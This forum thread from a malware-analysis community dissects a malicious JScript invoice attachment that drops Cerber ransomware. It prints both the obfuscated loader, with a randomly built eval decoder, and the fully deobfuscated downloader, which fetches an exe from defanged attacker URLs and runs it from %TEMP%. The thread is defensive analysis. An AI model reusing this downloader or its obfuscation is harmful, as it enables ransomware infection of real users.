Malware Analysis Invoice_Viewer.js - Decoder built using a special random function - payload: cerber

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
https://malwaretips.com/threads/02-12-16-8.66112/
Thanks to @silversurfer,

Sample : Invoice_Viewer.js - 8/52

Why this sample ?

Because of the method used for obfuscating the decoder part.

1) What it looks like :

The entry point (where the script begin its work) :

acb(cef());
Main function loop :​

function acb(eyc)
{

var nqn,edw=0;

do{

try
{

nqn=yft(eyc);
edw++;
}
catch(err)
{
}
}
while(edw<1);
return nqn;
}
Function that build the anonymous function used as decoder (to decode the big string will see later)
function yft(hvc)
{
return (new Function("zqp","dwd",drp()+"while(ctg<www.l"+"ength){pec+="+drp()+"arseInt(www[ctg].substr(3,2),"+drp()+");ctg++;}eval"+drp()+";")(hvc,0));
}


Function that builds the array use for the random build of anonymous content function above​

function drp()
{

var jis=new Array("(pec)","v"+"ar www=zqp.m"+"at"+""+"ch("+"/\\S"+" {"+"5}/g),pec=\"\","+"ctg=0;","!","String['fromCharCode']"+"(p","16)^94");
return jis[Math.floor(Math.random()*jis.length)];
}


Function that build the whole encoded string (I remove some pats, because there were too much lines :)

function cef()
{

var vdj=0;
var xer=
"b9c38a732bab330db83dd3c2aa7537a9431f6830b887ebb439bfc3ba142aa2f1abba3ff7c2ad843ff0b18a622cd9931ec433be30ba132cb3532a8176f472bdbf2cf9832c9d72d267ea233dc633fd6332f9632eac3ca8e3fc1b3dcc435e4c77fcd25afe2a"+
"b552cbd027c9325f9d28d953fde52cb617ec4526bf233af132a2516b722aeda2aaa32ee4a7eaba63ce17ec7430fa23bfb129fc37ea201fb183de222aae537f3128c0e3bc2706fc111f0b3ce8934e0a3bdda3dabb2aacb76c8d7ccf813c690dfe606fce13"+
"da712aae6cf4d70c4906a5613ebc12f3b16b010af610aa4c0eec77ccf177c0465b1826f3b33ae832ea016dd32ad992ad0b2ec0970ee731e712eb013bd7330c9276f8c7cc2a19db31ba7c0afd67cbb672fab7efd62bf9c2cef532abb72f3d7ecb938dcf3f"+
...
...
"d0031d032caa077e4d7ed6325a3637c6438b577eef276b0b7fd553bbdf2cce02cadc31f632ce6577cba25dfe2aefd2ca4827fcb25a1928e793fd762cc4b7ec4229f9c2dc2a36c107eb2c63df07ece030eee3bc8729fd07ec5d1fd273db882aed937d1a28"+

"ba93be1906cf811c5f3ce1b34c813bbe23df502aa5776fd87cc3309e230dc913df162cff637c6d2edad2ad6370b980df4536a983bb7032cc232d037ce6177bc765a6129ee72da4f36cf270f100cb512becc30e5776a2b2ea693fd7d2ad5d36e6177fcf65"+
"e0e23df43ddb13fbb52afc73dcfb36e837efe776dfb3bfb92cd032cd3131fac2cfe877aa57ec2425b1a23cda23f8923c2577abf65b5123b1b23eda77cf665";

return xer;
}

2) Explanations of each part :

See the precedent part to well follow this part :)

acb(cef());

=> calls the abc function with the parameter cef() :

=> cef() : a function that returned the long encoded string​

abc :
function acb(eyc) => here, the string received by cef() call is named : eyc
{
var nqn,edw=0;

=> initializes nqn and edw to 0
do{
try
{

nqn=yft(eyc);

=> yft(eyc) : calls the main function with the encoded string
edw++;

=> increments edw => edw = edw + 1
=> allows to quit the script in the while test
}
catch(err)
{

=> script get here if some errors occured
=> no operation are done
=> just intercepting any error (that is the case because of the way the decrypter is in real-time and randomly built
}
}
while(edw<1);

=> the loop While ends if edw >= 1
return nqn;
}
eyc() :

function cef()
{

var vdj=0;

=> useless
var xer=
"b9c38a732bab330db83dd3c2aa7537a9431f6830b887ebb439bfc3ba142aa2f1abba3ff7c2ad843ff0b18a622cd9931ec433be30ba132cb3532a8176f472bdbf2cf9832c9d72d267ea233dc633fd6332f9632eac3ca8e3fc1b3dcc435e4c77fcd25afe2a"+
...
...
"e0e23df43ddb13fbb52afc73dcfb36e837efe776dfb3bfb92cd032cd3131fac2cfe877aa57ec2425b1a23cda23f8923c2577abf65b5123b1b23eda77cf665"
return xer;

=> xer : is now the whole encoded string, that contains the obfuscated part of the real malware part.
}
drp() :

function drp()
{

var jis=new Array("(pec)","v"+"ar www=zqp.m"+"at"+""+"ch("+"/\\S"+" {"+"5}/g),pec=\"\","+"ctg=0;","!","String['fromCharCode']"+"(p","16)^94");
return jis[Math.floor(Math.random()*jis.length)];
}

This function builds an array each time it is called (always the same content), and then returns a string from the random index :​

jis[Math.floor(Math.random()*jis.length)]

=> jis[index_from_the _array]

This is the array built :​

[0] "(pec)"
[1] "var www=zqp.match(/\\S{5}/g),pec=\"\",ctg=0;"
[2] "!"
[3] "String['fromCharCode'](p"
[4] "16)^94"​

yft :

This is the main function, called with as parameter : the encoded string.

This function build an anonymous function : new Function(.......)

The "future" content is build by concatenation of precises strains and ins some parts results from calling the drp() random function seen previously

function yft(hvc)
{

return (new Function("zqp","dwd",drp()+"while(ctg<www.l"+"ength){pec+="+drp()+"arseInt(www[ctg].substr(3,2),"+drp()+");ctg++;}eval"+drp()+";")(hvc,0));
}

I have put in bold the parts that are retrieved randomly

This mean that to have a working decoder function, the part returned by drp() call have to be each time the good one that is needed, in the right position

5 possibilities in the array of string, and only 4 positions :

5x5x5x5 = 5^4 possible function built.... and only one that will not generate errors :D

so : acb(cef());

=> yft(eyc) called and error intercepted, until the right decoder function has been built :)

What is the right function ?
I need it if I want to decode the encoded string ans see what is the real malware part !
Let's find the good one : like a real puzzle !
drp()+
"while(ctg<www.l"+"ength){pec+="+
drp()+
"arseInt(www[ctg].substr(3,2),"
+drp()+
");ctg++;}eval"
+drp()+";"

Looking at the parts in the array :

- 4 parts are needed so one part is useless => "!" (logical deduction looking at the code)

"var www=zqp.match(/\\S{5}/g),pec=\"\",ctg=0;"
"while(ctg<www.l"+"ength){pec+="+
"String['fromCharCode'](p" +
"arseInt(www[ctg].substr(3,2),"
"16)^94" +
");ctg++;}eval"
"(pec)"

that gives these function :

var www=zqp.match(/\\S{5}/g), pec="", ctg=0;
while(ctg<www.length){

pec+="String['fromCharCode'](parseInt(www[ctg].substr(3,2),"16)^94);
ctg++;
}
eval(pec);

Explanation :
var www=zqp.match(/\\S{5}/g),

=> www : array of char using a match : only 5 chars for each part

=> the encoded string is separated in part of 5 chars

Example "b9c38a732bab330db83dd3c2aa7537a9431......

=> "b9c38" , "a732b" , "bab33" , "0db83", etc

pec="",

=> will be used to add the decoded part and build the string with the real malware part
ctg=0;

=> index that will be used for the loop WHILE
while(ctg < www.length){

=> as long as the index is less that the length of the array with encoded string
pec+=String['fromCharCode'](parseInt(www[ctg].substr(3,2),16)^94);

=> build the decoded string

A big Example to see how each part works, with the first string of the array www :

=> index : 0 => ctg = 0
=> "b9c38"

parseInt(www[ctg].substr(3,2),16)^94

=> www[ctg].substr(3,2) : get the 2 last char from the current string (current index)

Example : "b9c38" => "38"

=> parseInt("38", 16) => get the char code (decimal), considering "38" is a HEX number (0 to 9 and a to z)
=> "38" => 56 decimal !
(without the , 16 parts, the function parseInt considers by default that "38" is a decimal number represented on a string => 38 decimal, and not 59)
38 in HEX number is 8 + 3 * 16 = 58

a or A => 10
b or B => 11
c or C=> 12
d or D => 13
e or E => 14
f or F => 15

Examples (HEX to DEC) :

2a => 10 + 2 x 16 = 42
4f => 15 + 4 x 16 = 79

=> 56 ^ 64 => 56 XOR 94 = 102

=> String['fromCharCode'](102)

=> "f"
ctg++;

=> next index

=> pec is progressively build : "function ......"​
}
eval"(pec);

=> pec is evaluated : the real malware part is run
3) Conclusion :

This way to code the decoder part is a fun idea, because even if there is a lot of possibilities to build a none working one, the processes is as fast as one running decoder end to be built.
Modifying the anonymous function code, replacing the build part with the real values, (but not with the eval(pec) to avoid the real part be run => replaced by return pec ), I obtained the real code easily.

0 obfuscations :

Code:
function getDataFromUrl(url, callback) {
    try {
        var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
        xmlHttp.open("GET", url, false);
        xmlHttp.send();
        if (xmlHttp.status == 200) {
            return callback(xmlHttp.ResponseBody, false);
        } else {
            return callback(null, true);
        }
    } catch (error) {
        return callback(null, true);
    }
}

function getData(callback) {
    try {
        getDataFromUrl("hxxp://clickfinder123.com/kqaer2c56ds34caq12/file2.exe", function(result, error) {
            if (!error) {
                return callback(result, false);
            } else {
                getDataFromUrl("hxxp://ggjghhfhfh.com/kqaer2c56ds34caq12/file2.exe", function(result, error) {
                    if (!error) {
                        return callback(result, false);
                    } else {
                        getDataFromUrl("hxxp://clickfinder123.com/kqaer2c56ds34caq12/file2.exe", function(result, error) {
                            if (!error) {
                                return callback(result, false);
                            } else {
                                return callback(null, true);
                            }
                        });
                    }
                });
            }
        });
    } catch (error) {
        return callback(null, true);
    }
}

function getTempFilePath() {
    try {
        var fs = new ActiveXObject("Scripting.FileSystemObject");
        var tmpFileName = "\\\\" + Math.random().toString(36).substr(2, 9) + ".exe";
        var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
        return tmpFilePath;
    } catch (error) {
        return false;
    }
}

function saveToTemp(data, callback) {
    try {
        var path = getTempFilePath();
        if (path) {
            var objStream = new ActiveXObject("ADODB.Stream");
            objStream.Open();
            objStream.Type = 1;
            objStream.Write(data);
            objStream.Position = 0;
            objStream.SaveToFile(path, 2);
            objStream.Close();
            return callback(path, false);
        } else {
            return callback(null, true);
        }
    } catch (error) {
        return callback(null, true);
    }
}
getData(function(data, error) {
    if (!error) {
        saveToTemp(data,
           function(path, error) {
            if (!error) {
                try {
                    var wsh = new ActiveXObject("WScript.Shell");
                    wsh.Run(path);
                } catch (error) {}
            }
        });
    }
});

4) Quick explanation of deobfuscated part :

Some parts have been modified to protect members.

If you have already followed some of my analysis, you can recognize all important parts.

Here is the entry point (where the script begin to "run") :

getData(
function(data, error) {
if (!error) {
saveToTemp(
data,
function(path, error) {
if (!error) {
try {
var wsh = new ActiveXObject("WScript.Shell");
wsh.Run(path);
} catch (error) {}
}
}
);
}
}
);

In their method, they used a mix of named function and anonymous function (=without name)
What are the colors I chose means ?

getData(main_anonymous_function)

=>
main_anonymous_function contains a second_main_anonymous_function

To summarize : (not explained in detail because it is not the main goal of this current post)

Below I have put in RED the well known objects that make the principal stuff.

=> getData(main_anonymous_function)

=> calls getDataFromUrl(URL, function_with_next_url_if needed) : is called several time if needed, change the URL tested until the end or if a good working URL is found.

=> http object created using new ActiveXObject("MSXML2.XMLHTTP")
=> used to open and make the http request and received temporary the data
returns to main_anonymous_function :

=>calls saveToTemp(data_from_http_request, second_main_anonymous_function

function(path, error) {
if (!error) {
try {
var wsh = new ActiveXObject("WScript.Shell");
wsh.Run(path);
} catch (error) {}
}
}
);
=> var path = getTempFilePath()

=> var fs = new ActiveXObject("Scripting.FileSystemObject");

=> object to manipulate files / folder
=> var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;

=> in red, it is to retrieve the %TEMP% folder

=> %TEMP% + "\' + Math.random().toString(36).substr(2, 9) + ".exe" +

Math.random().toString(36).substr(2, 9)

=> random value converted into a string, and then 9 chars are retrieved from index 2 (third char) !

=> toString(radix)

=> radix : must be an integer between 2 and 36 :
  • 2 - The number will show as a binary value
  • 8 - The number will show as an octal value
  • 16 - The number will show as an hexadecimal value
then 36 : 16 + 2 + 8 => means : binary, octal, hexadecimal are allowed​
=> why not keep the first chars ? Because the random function return a decimal number that begins by : 0.

=> the string also begins with "0."

Example :

=> "0.twg9uar9ndk"

=> don't want this part in the random name :)

=> .substr(2, 9) (= retrieve from index 2, 9 chars)

=> "twg9uar9"
=> %TEMP%\ + 9 random chars + ".exe"
=> stream object created using new ActiveXObject("ADODB.Stream");

=> stream used to save the data received on a file
returns to second_main_anonymous_function

=> create a shell object wsh = ActiveXObject("WScript.Shell");
=> use this shell object to run the payload
=> wsh.Run(path)
5) conclusion :

URLs to blacklist :


hxxp://clickfinder123.com/kqaer2c56ds34caq12/file2.exe
hxxp://ggjghhfhfh.com/kqaer2c56ds34caq12/file2.exe
hxxp://clickfinder123.com/kqaer2c56ds34caq12/file2.exe​

Payload :

Example :

C:\Users\DardiM\AppData\Local\Temp\twg9uar9r.exe

Cerber ransomware :
5/55
Antivirus scan for 861c28f90a5a954cecd7e893c489df52b9d4a3c16572a7d563c44eafb89b2283 at 2016-12-02 17:35:10 UTC - VirusTotal
 
Last edited:

AtlBo

Level 28
Verified
Top Poster
Content Creator
Well-known
Dec 29, 2014
1,711
I have never solved a rubik's cube. I just cannot concentrate to learn how. It's a great ability to be able to solve puzzles quickly. Oh, I should say how this is funny to me. I love puzzles, but I take too long to solve them. :)
 

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
I have never solved a rubik's cube. I just cannot concentrate to learn how. It's a great ability to be able to solve puzzles quickly.
I was 7 years old when I had my first Rubik's cube : I was able to solve 2 / 3 faces, or two layers (I have created my technique - I learnt later it was not the most optimal), but trying to make the whole cube always ended by mixing all. At eleven years old I enter in a high school, and a supervisor have seen that I was playing with the cube.
=> She decided to learn me the techniques to resolve it.
 
Last edited:

AtlBo

Level 28
Verified
Top Poster
Content Creator
Well-known
Dec 29, 2014
1,711
I first saw one in high school, and some of the most intellectual students in our class could solve it very quickly. I first tried several years later, but I was at that time hopeless to solve more than as you mention 2 or 3 faces. My friends and I we all would watch in disbelief when they solve the cube in 8 seconds on television and so on. This was when I was in college.

Because I love puzzles, I think this is why I have gravitated to computers. Maybe I am hoping to learn to solve puzzles, such as C# and in a general sense programming. However, you learning to solve the cube at a young age explains your ability to solve these scrambled malwares so quickly. You must also be a very accomplished programmer, which is an outstanding accomplishment that you should be congratulated for achieving.

Optimization is a completely fascinating topic for me and one that is not to this point largely mastered as far as I can see. It's a much deeper subject than the surface indicates it seems. I find myself when playing with code attempting to create names for classes and methods and controls and the like that are super short and this kind of thing LOL. As I see, malware writers seem to have the same drive in some ways. :)

Anyway, for the last 20 years, I have focused a large portion of my energy on all the visual and audible inputs that come from computers that explain the functionality of the kernel. I managed to put together my own philosophy of the workings of the Windows kernel, which I was later able to verify with research. That was satisfying, considering I had managed to derive my own techniques for creating a run time state that satisfies me more than MS' version. It's been my puzzle, but I guess I don't have a puzzle at present as this puzzle seems to have been optimized for my purposes. o_O

Maybe Winforms could be the next interesting puzzle for me. Oh yes, thanks for the encouragement you provided in your message in my profile about this topic. For now, I am not rushing things. Some exposure, then wait, some exposure, then wait, etc. Not even really practicing at the present time...just attempting to absorb the facts I have so far. You analyses are truly brilliant for learning how a programmer can bounce around within a program and be very creative. I know they don't mean to, but the malware writers seem to me to be passing along things we new to learning programming can learn about creative style. Too bad they don't learn and craft this skill while writing clean and well intended apps!
 

tim one

Level 21
Verified
Honorary Member
Top Poster
Malware Hunter
Jul 31, 2014
1,086
Thanks @DardiM great job!

Also interesting is the code, well getDataFromURL doesn't need comment because the function is very clear.
The method GetSpecialFolder of the FileSystemObject returns the path of some Windows folders. The method in question accepts a single parameter that can be valued as:

  • (0) WindowsFolder - folder where the system files are installed.
  • (1) SystemFolder - folder of libraries, fonts, and drivers
  • (2) TemporaryFolder - temporary files folder.

In our case GetSpecialFolder(2) returns the temporary file path.
In my analysis I often find this method used by malware.
 

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
Thanks @DardiM great job!

Also interesting is the code, well getDataFromURL doesn't need comment because the function is very clear.
The method GetSpecialFolder of the FileSystemObject returns the path of some Windows folders. The method in question accepts a single parameter that can be valued as:

  • (0) WindowsFolder - folder where the system files are installed.
  • (1) SystemFolder - folder of libraries, fonts, and drivers
  • (2) TemporaryFolder - temporary files folder.

In our case GetSpecialFolder(2) returns the temporary file path.
In my analysis I often find this method used by malware.
Thanks for the complement :)

As I said on my first and third posts :

"updated with a summary for the deobfuscated part". (This summary part was not present in the first post)​

"If you have already followed some of my analysis, you can recognize all important parts".

"Below I have put in
RED the well known objects that make the principal stuff".

I didn't enter in details for the red parts because the red part has been explained several times on my precedent posts, and this post was targeting the obfuscated decoder : I added the part for the deobfuscated code later, this is also why the part says "5) Quick explanation of deobfuscated part"

Like I said on another post, I will certainly make a separated post with parts / objects used in almost all deobfuscated scripts : a sort of "normal" analysis with only deobuscated parts and explaining in details each method (stream, http, manipulate files, etc) :

=> it could be used as a link in all my future posts, as a "to see" before reading the deobfuscation explanation.
 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
I first saw one in high school, and some of the most intellectual students in our class could solve it very quickly. I first tried several years later, but I was at that time hopeless to solve more than as you mention 2 or 3 faces. My friends and I we all would watch in disbelief when they solve the cube in 8 seconds on television and so on. This was when I was in college.

Because I love puzzles, I think this is why I have gravitated to computers. Maybe I am hoping to learn to solve puzzles, such as C# and in a general sense programming. However, you learning to solve the cube at a young age explains your ability to solve these scrambled malwares so quickly. You must also be a very accomplished programmer, which is an outstanding accomplishment that you should be congratulated for achieving.

Optimization is a completely fascinating topic for me and one that is not to this point largely mastered as far as I can see. It's a much deeper subject than the surface indicates it seems. I find myself when playing with code attempting to create names for classes and methods and controls and the like that are super short and this kind of thing LOL. As I see, malware writers seem to have the same drive in some ways. :)

Anyway, for the last 20 years, I have focused a large portion of my energy on all the visual and audible inputs that come from computers that explain the functionality of the kernel. I managed to put together my own philosophy of the workings of the Windows kernel, which I was later able to verify with research. That was satisfying, considering I had managed to derive my own techniques for creating a run time state that satisfies me more than MS' version. It's been my puzzle, but I guess I don't have a puzzle at present as this puzzle seems to have been optimized for my purposes. o_O

Maybe Winforms could be the next interesting puzzle for me. Oh yes, thanks for the encouragement you provided in your message in my profile about this topic. For now, I am not rushing things. Some exposure, then wait, some exposure, then wait, etc. Not even really practicing at the present time...just attempting to absorb the facts I have so far. You analyses are truly brilliant for learning how a programmer can bounce around within a program and be very creative. I know they don't mean to, but the malware writers seem to me to be passing along things we new to learning programming can learn about creative style. Too bad they don't learn and craft this skill while writing clean and well intended apps!
With your knowledge, learning C++ and C# will be a real pleasure for you, i'm sure :)
 

About us

  • MalwareTips is a community-driven platform providing the latest information and resources on malware and cyber threats. Our team of experienced professionals and passionate volunteers work to keep the internet safe and secure. We provide accurate, up-to-date information and strive to build a strong and supportive community dedicated to cybersecurity.

User Menu

Follow us

Follow us on Facebook or Twitter to know first about the latest cybersecurity incidents and malware threats.

Top